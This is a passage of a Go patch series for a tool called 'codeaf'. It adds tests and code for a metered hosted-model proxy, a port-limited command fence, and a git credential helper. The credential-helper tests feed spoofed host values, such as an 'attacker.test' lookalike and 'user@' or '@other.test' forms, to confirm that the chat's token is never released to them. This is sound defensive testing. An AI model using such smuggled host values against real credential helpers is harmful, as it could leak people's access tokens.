testHostedBody) + hostedModelErrorIs(t, w, 401, "", "invalid key") + if !slices.Equal(seen, []string{testHostedOwnKey}) { + t.Fatalf("upstream got %v", seen) + } +} + +func TestP1_1_OnlyModelRoutesReachUpstream(t *testing.T) { + installHostedKeyHook(t, func(string, string) (string, bool, error) { + t.Error("a listing or refused path checked a personal key") + return testHostedOwnKey, true, nil + }) + rg := newMeteredRig(t, 0, func(context.Context, string, string) (*ai.Response, error) { + t.Error("a listing or refused path used a completer") + return nil, errors.New("unexpected completion") + }) + key := rg.host.tokenOf(rg.create(t, "santosh")) + for _, path := range []string{"models", "models/vendor/model"} { + if w := rg.bearerCall("GET", "/v1/model/"+path, key, nil); w.Code != 200 { + t.Fatalf("GET %s = %d %s", path, w.Code, w.Body) + } + } + for _, route := range []struct{ method, path string }{ + {"GET", "key"}, {"GET", "credits"}, {"GET", "generation"}, {"GET", "auth/keys"}, + {"POST", "completions"}, {"GET", "chat/completions"}, {"GET", "models/../key"}, + } { + w := rg.bearerCall(route.method, "/v1/model/"+route.path, key, nil) + if w.Code != 404 || errorOf(t, w.Body.Bytes()) != "There is nothing at that address." { + t.Fatalf("%s %s = %d %s", route.method, route.path, w.Code, w.Body) + } + } + requests := rg.up.requests() + if len(requests) != 2 || requests[0].header.Get("Authorization") != "Bearer "+testHostedOrgKey || requests[1].header.Get("Authorization") != "Bearer "+testHostedOrgKey { + t.Fatalf("listings and refusals made upstream requests %+v", requests) + } +} + +func TestP1_2_IdleCloseSettlesTheOriginalKeysReceiptBeforeReopening(t *testing.T) { + own := true + installHostedKeyHook(t, func(string, string) (string, bool, error) { + if own { + return testHostedOwnKey, true, nil + } + return "", false, nil + }) + settle := make(chan func(), 1) + var calls atomic.Int64 + rg := newMeteredRig(t, 0.25, func(ctx context.Context, _, model string) (*ai.Response, error) { + calls.Add(1) + done := provider.ReceiptPendingFrom(ctx)() + settle <- func() { + defer done() + provider.ReconcileSinkFrom(ctx)(provider.Reconciled{ + Found: true, + Billed: provider.Billed{Model: model, Cost: 0.25, PromptTokens: 11, CompletionTokens: 7}, + }) + } + return &ai.Response{Model: model, Choices: []ai.Choice{{FinishReason: "stop"}}}, nil + }) + id := rg.create(t, "santosh") + if w := callHostedModel(rg, id, testHostedBody); w.Code != 200 { + t.Fatalf("before idle: %d %s", w.Code, w.Body) + } + finish := sync.OnceFunc(<-settle) + defer finish() + own = false + + registry := &rg.h.config.Hosted.state.models + registry.mu.Lock() + entry := registry.entries[id] + entry.idle.Reset(0) + registry.mu.Unlock() + + deadline := time.After(5 * time.Second) + tick := time.NewTicker(time.Millisecond) + defer tick.Stop() + for { + registry.mu.Lock() + closing := entry.closing != nil + registry.mu.Unlock() + if closing { + break + } + select { + case <-tick.C: + case <-deadline: + t.Fatal("idle entry did not start closing") + } + } + waiting := make(chan *httptest.ResponseRecorder, 1) + go func() { waiting <- callHostedModel(rg, id, testHostedBody) }() + select { + case w := <-waiting: + t.Fatalf("a call answered before settlement: %d %s", w.Code, w.Body) + case <-time.After(20 * time.Millisecond): + } + finish() + select { + case w := <-waiting: + hostedModelErrorIs(t, w, 402, "insufficient_quota", + "This chat has reached its spending limit of $0.25, so it is paused. Start a new chat to carry on.") + case <-deadline: + t.Fatal("a call did not resume after settlement") + } + space := myHostedSpace(t, rg, "santosh") + rows := hostedSpendRows(t, rg, space.Workstream.ID) + if calls.Load() != 1 || len(rows) != 1 || rows[0].Chat != "hosted:"+id+":own" || rows[0].USD != 0.25 { + t.Fatalf("%d upstream calls, rows %+v", calls.Load(), rows) + } +} + +func TestP1_4_HandlerCloseDrainsTheChatModels(t *testing.T) { + rg := newMeteredRig(t, 0, func(ctx context.Context, _, model string) (*ai.Response, error) { + return meteredAnswer(ctx, model, "hi", 0), nil + }) + id := rg.create(t, "santosh") + if w := callHostedModel(rg, id, testHostedBody); w.Code != 200 { + t.Fatalf("before close: %d %s", w.Code, w.Body) + } + registry := &rg.h.config.Hosted.state.models + entry := registry.entries[id] + rg.h.Close() + if len(registry.entries) != 0 || entry.server.API().Token != "" { + t.Fatal("the handler left its chat model server open") + } +} + +func TestP1_1_DefaultBaseAndKeylessUpstream(t *testing.T) { + for _, tc := range []struct { + name string + explicitBase bool + storedKey, useKey string + }{ + {name: "default base and stored organization key", storedKey: testHostedOrgKey, useKey: testHostedOrgKey}, + {name: "explicit keyless upstream", explicitBase: true, useKey: "keyless"}, + } { + t.Run(tc.name, func(t *testing.T) { + rg := newHostedRig(t) + var base, key string + if tc.storedKey != "" { + if _, err := rg.st.SetOrgKey("openrouter", tc.storedKey, "owner", rg.h.clock().Format(time.RFC3339Nano)); err != nil { + t.Fatal(err) + } + } + rg.configure(t, func(cfg *HostedConfig) { + if !tc.explicitBase { + cfg.ModelUpstream = "" + } + cfg.CompleterFor = func(givenBase, givenKey string) func(string) modelapi.Completer { + base, key = givenBase, givenKey + return func(model string) modelapi.Completer { + return hostedModelCompleter(func(ctx context.Context, _ []ai.Message, _ ...ai.Option) (*ai.Response, error) { + return meteredAnswer(ctx, model, "hi", 0), nil + }) + } + } + }) + wantBase := "" + if tc.explicitBase { + wantBase = rg.upSrv.URL + "/api/v1" + } + w := callHostedModel(rg, rg.create(t, "santosh"), testHostedBody) + if w.Code != 200 || base != wantBase || key != tc.useKey { + t.Fatalf("call = %d %s, configured base = %q, chosen key matched = %v", w.Code, w.Body, base, key == tc.useKey) + } + }) + } +} diff --git a/internal/factory/serve/serve.go b/internal/factory/serve/serve.go index c8eb2e18f8..a3e3540ac3 100644 --- a/internal/factory/serve/serve.go +++ b/internal/factory/serve/serve.go @@ -479,6 +479,7 @@ func (h *Handler) root(w http.ResponseWriter, r *http.Request) { // a change after Close is not delivered. func (h *Handler) Close() { if h != nil { + h.closeHostedModels() h.closeGrantSweep() h.closeOrders() h.closeAgents() @@ -555,6 +556,10 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { h.modelProxy(w, r) return } + if h.gitPath(r) { + h.hostedGit(w, r) + return + } if markPreMutation(r) { w.Header().Set(api.PhaseHeader, api.PhasePreMutation) } diff --git a/internal/factory/serve/zz_git_routes_stub.go b/internal/factory/serve/zz_git_routes_stub.go deleted file mode 100644 index 824e0cc85c..0000000000 --- a/internal/factory/serve/zz_git_routes_stub.go +++ /dev/null @@ -1,6 +0,0 @@ -package serve - -// hostedGitRoutes is where chunk C's git routes mount. This empty body exists -// only so chunk A builds on its own: THE LANE OWNER DELETES THIS FILE when the -// real hostedGitRoutes lands. -func (h *Handler) hostedGitRoutes() {} From 019d4b89bb7ab1cb2341356f8ef3f756aa02e444 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Tue, 24 Nov 2026 07:10:47 -0500 Subject: [PATCH 049/176] codeaf: the org server's metered model settings, the hosted chat's git setup and credential helper `codeaf factory serve` reads the server key, the session cap, the git hosts and the upstream key for the metered model door from the environment (and checks them at start, refusing with a sentence that names the setting). A hosted chat's engine writes a git config that sends GitHub addresses to the org server's git door and installs `codeaf git-credential` as the credential helper: it answers git with the chat's own bearer read from a 0600 broker file, never a GitHub token. A model door call without a usable key says why in one sentence. Co-Authored-By: Claude Sonnet 5.5 --- cmd/codeaf/beltdoors_test.go | 3 +- cmd/codeaf/engine.go | 1 + cmd/codeaf/engine_hosted.go | 34 ++++- cmd/codeaf/engine_hosted_test.go | 21 +++ cmd/codeaf/factory_command.go | 7 +- cmd/codeaf/factory_hosted_model.go | 134 +++++++++++++++++++ cmd/codeaf/factory_hosted_model_test.go | 128 ++++++++++++++++++ cmd/codeaf/hostedgit.go | 164 ++++++++++++++++++++++++ cmd/codeaf/hostedgit_test.go | 161 +++++++++++++++++++++++ cmd/codeaf/main.go | 7 + 10 files changed, 657 insertions(+), 3 deletions(-) create mode 100644 cmd/codeaf/factory_hosted_model.go create mode 100644 cmd/codeaf/factory_hosted_model_test.go create mode 100644 cmd/codeaf/hostedgit.go create mode 100644 cmd/codeaf/hostedgit_test.go diff --git a/cmd/codeaf/beltdoors_test.go b/cmd/codeaf/beltdoors_test.go index f4a922c78c..c4473553cc 100644 --- a/cmd/codeaf/beltdoors_test.go +++ b/cmd/codeaf/beltdoors_test.go @@ -51,8 +51,9 @@ const helpLineCap = 123 // starts in its own container (`probe` and `health` are the checks an // operator runs there); a person never types it, and the manual's page on // where hosted chats run says what it is for. +// - Git starts `git-credential` to ask for the chat's access over a pipe. var doorsOffThePage = map[string]bool{ - "cell": true, "identity": true, "relay": true, "engine": true, "app": true, "tick": true, "clock": true, "wake": true, "show": true, "revise": true, "help": true, "sessionhost": true, + "cell": true, "identity": true, "relay": true, "engine": true, "app": true, "tick": true, "clock": true, "wake": true, "show": true, "revise": true, "help": true, "sessionhost": true, "git-credential": true, } // THE FIRST GESTURE ON AN UNFAMILIAR DOOR IS `-h`, and it must not be a diff --git a/cmd/codeaf/engine.go b/cmd/codeaf/engine.go index cdea5cdf69..3af55bef73 100644 --- a/cmd/codeaf/engine.go +++ b/cmd/codeaf/engine.go @@ -140,6 +140,7 @@ func runRemoteEngine(args []string) error { if *stop { return runEngineStop(*workspace) } + hostedPrepareGit() if !*alone { conn, err := attachEngineHost(*workspace) if err == nil { diff --git a/cmd/codeaf/engine_hosted.go b/cmd/codeaf/engine_hosted.go index a42640353b..a4ea8c228e 100644 --- a/cmd/codeaf/engine_hosted.go +++ b/cmd/codeaf/engine_hosted.go @@ -32,6 +32,13 @@ import ( // hostedFenceEnv turns the command fence on for every hello of this engine. const hostedFenceEnv = "CODEAF_FENCE_REQUIRE" +// hostedConnectPortsEnv is the list of TCP ports this engine's commands may +// connect to (executor.ParseConnectPorts words: "443,80,22,9418,8080"). The +// supervisor writes it into every hosted engine's environment from the +// operator's settings; an engine started without it (an older supervisor, or a +// person's own machine) has no port limit, as it never had. +const hostedConnectPortsEnv = "CODEAF_FENCE_CONNECT_PORTS" + // hostedIdleEnv is the idle window of this engine's host, as a Go duration. const hostedIdleEnv = "CODEAF_ENGINE_IDLE" @@ -43,6 +50,22 @@ func hostedFenceRequired() bool { return strings.TrimSpace(env.Get(hostedFenceEnv)) == "1" } +// hostedConnectPorts is the port list the supervisor gave this engine, and nil +// when it gave none. A list that cannot be read is an ERROR and never "no +// limit": an operator's typo must not turn the network fully open, so the +// engine's commands are refused with it instead. +func hostedConnectPorts() ([]int, error) { + raw := strings.TrimSpace(env.Get(hostedConnectPortsEnv)) + if raw == "" { + return nil, nil + } + ports, err := executor.ParseConnectPorts(raw) + if err != nil { + return nil, fmt.Errorf("%s is not a list of TCP ports (%v), so this chat's commands were not run", hostedConnectPortsEnv, err) + } + return ports, nil +} + // hostedEngineIdle is the idle window the supervisor asked this engine's host // to keep, and false when it asked for none. A value that is not a duration, // or is shorter than [enginehost.MinIdleOverride], is IGNORED and said once on @@ -90,10 +113,14 @@ func hostedFence(workspace, profileDir string) (*executor.Fence, error) { if err != nil { return nil, err } + ports, err := hostedConnectPorts() + if err != nil { + return nil, err + } person, _ := os.UserHomeDir() state := home.Join("jail") pruneFenceState(state, fenceStateMaxAge) - return requiredFence(executor.FenceOptions{ + fence, err := requiredFence(executor.FenceOptions{ Root: workspace, Home: person, CodeafHome: home.Dir(), @@ -102,6 +129,11 @@ func hostedFence(workspace, profileDir string) (*executor.Fence, error) { Allow: executor.ParseFenceAllow(person, words...), Canvases: []string{deskCanvasRoot(os.Getenv, person, runtime.GOOS)}, }) + if err != nil { + return nil, err + } + fence.ConnectPorts = ports + return fence, nil } // requiredFence is [executor.NewFence] with the two things a hosted engine's diff --git a/cmd/codeaf/engine_hosted_test.go b/cmd/codeaf/engine_hosted_test.go index 414e10acdf..b0c6f8335a 100644 --- a/cmd/codeaf/engine_hosted_test.go +++ b/cmd/codeaf/engine_hosted_test.go @@ -90,3 +90,24 @@ func TestC7_HostedEngineIdleReadsOnlyAValidDuration(t *testing.T) { } } } + +// P1-0c: the port list the supervisor writes into a hosted engine's +// environment reaches the fence, and one that cannot be read refuses the +// engine's commands instead of opening the network. +func TestP1_0c_HostedEngineReadsItsPortList(t *testing.T) { + t.Setenv(hostedConnectPortsEnv, "") + if ports, err := hostedConnectPorts(); ports != nil || err != nil { + t.Fatalf("an engine with no list: %v, %v; it must have no limit, as it never had", ports, err) + } + t.Setenv(hostedConnectPortsEnv, " 443,80, 8080 ") + ports, err := hostedConnectPorts() + if err != nil || len(ports) != 3 || ports[0] != 80 || ports[1] != 443 || ports[2] != 8080 { + t.Fatalf("a list: %v, %v", ports, err) + } + for _, bad := range []string{"https", "443,0", "70000"} { + t.Setenv(hostedConnectPortsEnv, bad) + if ports, err := hostedConnectPorts(); err == nil || ports != nil { + t.Errorf("%q was read as %v; it must refuse, never mean no limit", bad, ports) + } + } +} diff --git a/cmd/codeaf/factory_command.go b/cmd/codeaf/factory_command.go index 6e8d73cbd4..928dea0bb2 100644 --- a/cmd/codeaf/factory_command.go +++ b/cmd/codeaf/factory_command.go @@ -300,10 +300,15 @@ func startFactoryService(ctx context.Context, st *store.Store, seam factory.Seam var hosted *serve.HostedConfig if servedBy == "factory" { hosted, err = serve.ParseHostedConfig(env.Get("CODEAF_HOSTED_URL"), env.Get("CODEAF_HOSTED_SECRET"), - env.Get("CODEAF_HOSTED_MODEL_URL"), env.Get("CODEAF_HOSTED_MODEL_UPSTREAM"), env.Get("CODEAF_HOSTED_MODEL_KEY")) + env.Get("CODEAF_HOSTED_MODEL_URL"), env.Get("CODEAF_HOSTED_MODEL_UPSTREAM"), env.Get("CODEAF_HOSTED_MODEL_KEY"), true) if err != nil { return nil, err } + if hosted != nil { + if err := hostedP1Settings(hosted, st, env.Get); err != nil { + return nil, err + } + } } handlerConfig := serve.Config{ GitHubToken: jobWrites.Token, diff --git a/cmd/codeaf/factory_hosted_model.go b/cmd/codeaf/factory_hosted_model.go new file mode 100644 index 0000000000..b887a80a55 --- /dev/null +++ b/cmd/codeaf/factory_hosted_model.go @@ -0,0 +1,134 @@ +package main + +import ( + "container/list" + "errors" + "math" + "os" + "path/filepath" + "strconv" + "strings" + "sync" + + "github.com/Agent-Field/codeaf/internal/calllog" + "github.com/Agent-Field/codeaf/internal/config" + "github.com/Agent-Field/codeaf/internal/factory/serve" + "github.com/Agent-Field/codeaf/internal/factory/store" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/provider" + "github.com/Agent-Field/codeaf/internal/provider/modelapi" +) + +const hostedAdapterLimit = 64 + +type hostedAdapterAddress struct { + base string + model string +} + +type hostedAdapter struct { + address hostedAdapterAddress + key string + completer modelapi.Completer +} + +func hostedCompleterFor(profileDir string) func(base, key string) func(model string) modelapi.Completer { + type profile struct { + dir string + err error + } + funnelProfile := sync.OnceValue(func() profile { + root := filepath.Join(profileDir, "hosted-model") + if err := os.MkdirAll(root, 0o700); err != nil { + return profile{err: err} + } + dir, err := os.MkdirTemp(root, "funnel-") + if err == nil { + // The provider call log is process-wide. Point this factory + // process at the isolated directory before it makes hosted calls. + calllog.Open(dir) + } + return profile{dir: dir, err: err} + }) + + var mu sync.Mutex + lru := list.New() + adapters := make(map[hostedAdapterAddress]*list.Element) + return func(base, key string) func(model string) modelapi.Completer { + if base == "" { + base = factoryWorkstreamAgentBaseURL() + } + return func(model string) modelapi.Completer { + profile := funnelProfile() + if profile.err != nil { + return refusingCompleter{err: profile.err} + } + address := hostedAdapterAddress{base, model} + mu.Lock() + defer mu.Unlock() + found := adapters[address] + if found != nil { + cached := found.Value.(hostedAdapter) + if cached.key == key { + lru.MoveToFront(found) + return cached.completer + } + } + + settings := config.Config{APIKey: key, BaseURL: base, ProfileDir: profile.dir, DropRefusedEffort: true} + configured := settings.ClientConfig(model) + // The key belongs to this adapter alone. Construct it without + // handing that key to the process-wide model catalog. + callKey := configured.APIKey + configured.APIKey = "" + client, err := provider.NewClient(configured) + if err != nil { + return refusingCompleter{err: err} + } + if err := client.SetAPIKey(callKey); err != nil { + return refusingCompleter{err: err} + } + adapter := hostedAdapter{address, key, wireCompleter{client: client, wire: configured.Model}} + if found != nil { + // Calls and receipts already using the old adapter keep + // their own key when a different key takes this slot. + found.Value = adapter + lru.MoveToFront(found) + } else { + adapters[address] = lru.PushFront(adapter) + if lru.Len() > hostedAdapterLimit { + old := lru.Back() + delete(adapters, old.Value.(hostedAdapter).address) + lru.Remove(old) + } + } + return adapter.completer + } + } +} + +// hostedP1Settings reads the settings that make hosted chats safe to give to +// other people: the server key that keeps their own keys sealed, the spending +// cap of one chat, the git hosts a chat may reach through this server, and the +// way real model calls are made. It then checks them against what the store +// already holds, so a server started with the wrong key, or with none while +// people's keys are stored, stops with a sentence BEFORE it serves anyone +// instead of failing one person's chat at a time. Nothing here repeats a +// secret in an error. +func hostedP1Settings(hosted *serve.HostedConfig, st *store.Store, get func(string) string) error { + hosted.ServerKey = strings.TrimSpace(get("CODEAF_SERVER_KEY")) + if raw := strings.TrimSpace(get("CODEAF_HOSTED_SESSION_CAP_USD")); raw != "" { + cap, err := strconv.ParseFloat(raw, 64) + if err != nil || cap <= 0 || cap > 100000 || math.IsNaN(cap) { + return errors.New("CODEAF_HOSTED_SESSION_CAP_USD must be a number of dollars above zero, such as 5") + } + hosted.SessionCapUSD = cap + } + for _, word := range strings.Split(get("CODEAF_HOSTED_GIT_HOSTS"), ",") { + if word = strings.TrimSpace(word); word != "" { + hosted.GitHosts = append(hosted.GitHosts, word) + } + } + hosted.CompleterFor = hostedCompleterFor(home.Dir()) + return hosted.Check(st) +} diff --git a/cmd/codeaf/factory_hosted_model_test.go b/cmd/codeaf/factory_hosted_model_test.go new file mode 100644 index 0000000000..3699587560 --- /dev/null +++ b/cmd/codeaf/factory_hosted_model_test.go @@ -0,0 +1,128 @@ +package main + +import ( + "context" + "encoding/json" + "fmt" + "net/http" + "net/http/httptest" + "os" + "path/filepath" + "slices" + "strings" + "sync" + "testing" + + "github.com/Agent-Field/agentfield/sdk/go/ai" + "github.com/Agent-Field/codeaf/internal/calllog" + "github.com/Agent-Field/codeaf/internal/factory/serve" + "github.com/Agent-Field/codeaf/internal/provider" + "github.com/Agent-Field/codeaf/internal/provider/modelapi" +) + +func TestHostedCompleterKeepsEachCallsKeyAndUsesTheDefaultBase(t *testing.T) { + type received struct{ auth, model string } + var mu sync.Mutex + var receivedCalls []received + upstream := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodPost || r.URL.Path != modelapi.ChatURL("/api/v1") { + http.NotFound(w, r) + return + } + var request struct{ Model string } + if err := json.NewDecoder(r.Body).Decode(&request); err != nil { + t.Error(err) + w.WriteHeader(http.StatusBadRequest) + return + } + mu.Lock() + receivedCalls = append(receivedCalls, received{r.Header.Get("Authorization"), request.Model}) + mu.Unlock() + w.Header().Set("Content-Type", "text/event-stream") + fmt.Fprint(w, "data: {\"id\":\"gen-test\",\"model\":\"stub/scripted\",\"choices\":[{\"index\":0,\"delta\":{\"content\":\"hi\"},\"finish_reason\":\"stop\"}],\"usage\":{\"prompt_tokens\":11,\"completion_tokens\":7,\"cost\":0.0123}}\n\ndata: [DONE]\n\n") + })) + t.Cleanup(upstream.Close) + oldBase := factoryWorkstreamAgentBase + factoryWorkstreamAgentBase = upstream.URL + "/api/v1" + t.Cleanup(func() { factoryWorkstreamAgentBase = oldBase }) + t.Setenv(calllog.EnvVar, "") + + profile := t.TempDir() + t.Cleanup(func() { calllog.Open("") }) + factory := hostedCompleterFor(profile) + const orgKey, ownKey = "sk-test-org-0001", "sk-test-own-0001" + const model = "openrouter/stub/scripted" + org := factory("", orgKey)(model) + if got := factory(upstream.URL+"/api/v1", orgKey)(model); got != org { + t.Fatal("the same base, model and key did not reuse its adapter") + } + own := factory("", ownKey)(model) + if own == org { + t.Fatal("a different key reused the first adapter") + } + for _, c := range []modelapi.Completer{org, own, org} { + var billed float64 + ctx := provider.WithBilling(context.Background(), func(bill provider.Billed) { billed += bill.Cost }) + answer, err := c.CompleteWithMessages(ctx, []ai.Message{{Role: "user", Content: []ai.ContentPart{{Type: "text", Text: "hi"}}}}) + if err != nil || answer == nil || answer.Text() != "hi" || billed != 0.0123 { + t.Fatalf("reply %v, billed $%g, error %v", answer, billed, err) + } + } + want := []received{ + {"Bearer " + orgKey, "stub/scripted"}, + {"Bearer " + ownKey, "stub/scripted"}, + {"Bearer " + orgKey, "stub/scripted"}, + } + mu.Lock() + defer mu.Unlock() + if !slices.Equal(receivedCalls, want) { + t.Fatalf("upstream got %+v, want %+v", receivedCalls, want) + } + if path := calllog.Path(); !strings.HasPrefix(path, filepath.Join(profile, "hosted-model")+string(os.PathSeparator)) { + t.Fatalf("provider call log is outside the isolated directory: %s", path) + } + if _, err := os.Stat(calllog.Path()); err != nil { + t.Fatalf("provider call log: %v", err) + } +} + +// P1-1/P1-5 at the door the operator uses: the settings the organization's +// server reads from its environment become the hosted config, and one that is +// wrong stops the start with a sentence that never repeats a value. +func TestP1_HostedSettingsReadFromTheEnvironment(t *testing.T) { + t.Setenv("CODEAF_HOME", t.TempDir()) + good := strings.Repeat("ab", 32) + cfgFor := func(values map[string]string) (*serve.HostedConfig, error) { + hosted := &serve.HostedConfig{} + err := hostedP1Settings(hosted, nil, func(name string) string { return values[name] }) + return hosted, err + } + hosted, err := cfgFor(map[string]string{ + "CODEAF_SERVER_KEY": " " + good + " ", "CODEAF_HOSTED_SESSION_CAP_USD": "2.50", + "CODEAF_HOSTED_GIT_HOSTS": "https://github.com, https://git.example.test:8443,", + }) + if err != nil || hosted.ServerKey != good || hosted.SessionCapUSD != 2.5 || + !slices.Equal(hosted.GitHosts, []string{"https://github.com", "https://git.example.test:8443"}) || hosted.CompleterFor == nil { + t.Fatalf("settings: %+v, %v", hosted, err) + } + if hosted, err = cfgFor(nil); err != nil || hosted.SessionCapUSD != 0 || hosted.GitHosts != nil || hosted.CompleterFor == nil { + t.Fatalf("with nothing set the defaults stand: %+v, %v", hosted, err) + } + for name, values := range map[string]map[string]string{ + "a cap of nothing": {"CODEAF_HOSTED_SESSION_CAP_USD": "0"}, + "a cap in words": {"CODEAF_HOSTED_SESSION_CAP_USD": "five"}, + "a git host that is not an origin": {"CODEAF_HOSTED_GIT_HOSTS": "github.com/org/repo"}, + "a server key of the wrong size": {"CODEAF_SERVER_KEY": "abc123"}, + } { + _, err := cfgFor(values) + if err == nil { + t.Errorf("%s was accepted", name) + continue + } + for _, v := range values { + if len(v) > 5 && strings.Contains(err.Error(), v) { + t.Errorf("%s: the sentence repeats the value: %v", name, err) + } + } + } +} diff --git a/cmd/codeaf/hostedgit.go b/cmd/codeaf/hostedgit.go new file mode 100644 index 0000000000..ef2bb7fc10 --- /dev/null +++ b/cmd/codeaf/hostedgit.go @@ -0,0 +1,164 @@ +package main + +import ( + "bufio" + "errors" + "fmt" + "io" + "net/url" + "os" + "path/filepath" + "strings" + + "github.com/Agent-Field/codeaf/internal/fsreplace" +) + +func hostedPrepareGit() { + home, gitURL := os.Getenv("HOME"), os.Getenv("CODEAF_HOSTED_GIT_URL") + if home == "" || gitURL == "" { + return + } + if err := writeHostedGitSetup(home, gitURL); err != nil { + fmt.Fprintf(os.Stderr, "Could not prepare git for this chat (%q).\n", err) + } +} + +func writeHostedGitSetup(home, gitURL string) error { + broker := hostedGitBroker(home) + access := os.Getenv("OPENAI_API_KEY") + if access == "" { + if err := os.Remove(broker); err != nil && !errors.Is(err, os.ErrNotExist) { + return err + } + } + if hostedGitURL(gitURL) == nil { + return errors.New("invalid git address") + } + if strings.ContainsAny(access, "\r\n") { + return errors.New("invalid chat access") + } + executable, err := os.Executable() + if err != nil { + return err + } + var config strings.Builder + for _, raw := range strings.Split(os.Getenv("CODEAF_HOSTED_GIT_HOSTS"), ",") { + if raw == "" { + continue + } + origin := hostedGitURL(raw) + if origin == nil || origin.Path != "" { + return errors.New("invalid git host") + } + // End both URLs with a slash so a host with a similar name + // cannot match this rewrite. + fmt.Fprintf(&config, "[url %s]\n\tinsteadOf = %s/\n", gitConfigQuote(gitURL+"/"+origin.Host+"/"), raw) + } + helper := "!" + shellQuote(filepath.ToSlash(executable)) + " git-credential" + fmt.Fprintf(&config, "[credential %s]\n\thelper = %s\n\tuseHttpPath = false\n", + gitConfigQuote(gitURL+"/"), gitConfigQuote(helper)) + if access != "" { + if err := writeHostedGitFile(broker, "url="+gitURL+"\nbearer="+access+"\n"); err != nil { + return err + } + } + return writeHostedGitFile(filepath.Join(home, ".config", "git", "config"), config.String()) +} + +func gitConfigQuote(value string) string { + replacer := strings.NewReplacer(`\`, `\\`, `"`, `\"`, "\n", `\n`, "\t", `\t`, "\b", `\b`) + return `"` + replacer.Replace(value) + `"` +} + +func hostedGitURL(raw string) *url.URL { + u, err := url.Parse(raw) + if err != nil || (u.Scheme != "http" && u.Scheme != "https") || u.Hostname() == "" || + u.User != nil || u.RawQuery != "" || u.ForceQuery || strings.Contains(raw, "#") || strings.HasSuffix(u.Path, "/") { + return nil + } + return u +} + +func hostedGitBroker(home string) string { + return filepath.Join(home, ".config", "codeaf-hosted", "broker") +} + +// Replace whole files so a helper starting during an attach sees complete +// contents, and an existing file cannot carry older permissions forward. +func writeHostedGitFile(path, content string) error { + dir := filepath.Dir(path) + if err := os.MkdirAll(dir, 0700); err != nil { + return err + } + f, err := os.CreateTemp(dir, ".codeaf-git-*") + if err != nil { + return err + } + defer os.Remove(f.Name()) + _, err = f.WriteString(content) + if err := errors.Join(err, f.Close()); err != nil { + return err + } + return fsreplace.Rename(f.Name(), path) +} + +func runHostedGitCredential(args []string, in io.Reader, out io.Writer) { + if len(args) != 1 { + return + } + get := args[0] == "get" + if !get && args[0] != "store" && args[0] != "erase" { + return + } + var protocol, host string + valid := true + seenProtocol, seenHost := false, false + scan := bufio.NewScanner(in) + for scan.Scan() && scan.Text() != "" { + if !get { + continue + } + name, value, ok := strings.Cut(scan.Text(), "=") + if !ok { + valid = false + continue + } + switch name { + case "protocol": + valid = valid && !seenProtocol + protocol, seenProtocol = value, true + case "host": + valid = valid && !seenHost + host, seenHost = value, true + } + } + home := os.Getenv("HOME") + if !get || !valid || scan.Err() != nil || scan.Text() != "" || protocol == "" || host == "" || home == "" { + return + } + + f, err := os.Open(hostedGitBroker(home)) + if err != nil { + return + } + defer f.Close() + broker := bufio.NewScanner(f) + if !broker.Scan() { + return + } + raw, ok := strings.CutPrefix(broker.Text(), "url=") + if !ok { + return + } + u := hostedGitURL(raw) + // Repository paths are untrusted. Only the broker's exact protocol and + // host, including its port, may receive the chat's credential. + if u == nil || protocol != u.Scheme || host != u.Host || !broker.Scan() { + return + } + access, ok := strings.CutPrefix(broker.Text(), "bearer=") + if !ok || access == "" || strings.ContainsAny(access, "\r\x00") || broker.Scan() || broker.Err() != nil { + return + } + fmt.Fprintf(out, "username=codeaf\npassword=%s\n\n", access) +} diff --git a/cmd/codeaf/hostedgit_test.go b/cmd/codeaf/hostedgit_test.go new file mode 100644 index 0000000000..c15cd70aa0 --- /dev/null +++ b/cmd/codeaf/hostedgit_test.go @@ -0,0 +1,161 @@ +package main + +import ( + "bytes" + "errors" + "os" + "os/exec" + "path/filepath" + "runtime" + "strings" + "testing" +) + +const testGitURL = "https://org.test:8443/v1/hosted/git" + +func TestP1_6_GitCredentialCommand(t *testing.T) { + binary := buildCodeafStamped(t, "") + home := t.TempDir() + broker := filepath.Join(home, ".config", "codeaf-hosted", "broker") + raw := []byte("url=" + testGitURL + "\nbearer=cmt_fake-chat-access\n") + if err := os.MkdirAll(filepath.Dir(broker), 0700); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(broker, raw, 0600); err != nil { + t.Fatal(err) + } + run := func(verb, input, want string) { + t.Helper() + cmd := exec.Command(binary, "git-credential", verb) + cmd.Env = append(os.Environ(), "HOME="+home, "CODEAF_HOME="+filepath.Join(home, "unused-codeaf-home"), + "CODEAF_TELEMETRY=off", "DO_NOT_TRACK=1") + cmd.Stdin = strings.NewReader(input + "\n") + var stderr bytes.Buffer + cmd.Stderr = &stderr + got, err := cmd.Output() + if err != nil || string(got) != want || stderr.Len() != 0 { + t.Fatalf("git-credential %s with %q: stdout %q, stderr %q, err %v", verb, input, got, &stderr, err) + } + } + const origin = "protocol=https\nhost=org.test:8443\npath=v1/hosted/git\n" + run("get", origin, "username=codeaf\npassword=cmt_fake-chat-access\n\n") + for _, input := range []string{ + "protocol=https\nhost=org.test.attacker.test:8443\n", + "protocol=https\nhost=extra-org.test:8443\n", + "protocol=https\nhost=org.test:8444\n", + "protocol=https\nhost=org.test\n", + "protocol=http\nhost=org.test:8443\n", + "protocol=https\nhost=user@org.test:8443\n", + "protocol=https\nhost=org.test:8443@other.test\n", + "protocol=https\nhost=other.test\nhost=org.test:8443\n", + } { + run("get", input, "") + } + info, err := os.Stat(broker) + if err != nil { + t.Fatal(err) + } + run("store", origin+"password=should-not-be-stored\n", "") + run("erase", origin, "") + after, err := os.Stat(broker) + if err != nil || !os.SameFile(info, after) || !info.ModTime().Equal(after.ModTime()) { + t.Fatalf("store or erase changed broker: %v", err) + } + if got, err := os.ReadFile(broker); err != nil || !bytes.Equal(got, raw) { + t.Fatalf("store or erase changed broker contents: %v", err) + } + if _, err := os.Stat(filepath.Join(home, "unused-codeaf-home")); !errors.Is(err, os.ErrNotExist) { + t.Fatalf("the helper touched the general codeaf home: %v", err) + } + if err := os.Remove(broker); err != nil { + t.Fatal(err) + } + run("get", origin, "") +} + +func TestP1_6_PrepareGitWritesOnlyTheChatConfigAndBroker(t *testing.T) { + home := t.TempDir() + t.Setenv("HOME", home) + t.Setenv("CODEAF_HOSTED_GIT_URL", "") + t.Setenv("CODEAF_HOSTED_GIT_HOSTS", "https://github.com,http://gitstub:8891") + t.Setenv("OPENAI_API_KEY", "cmt_fake-chat-access") + 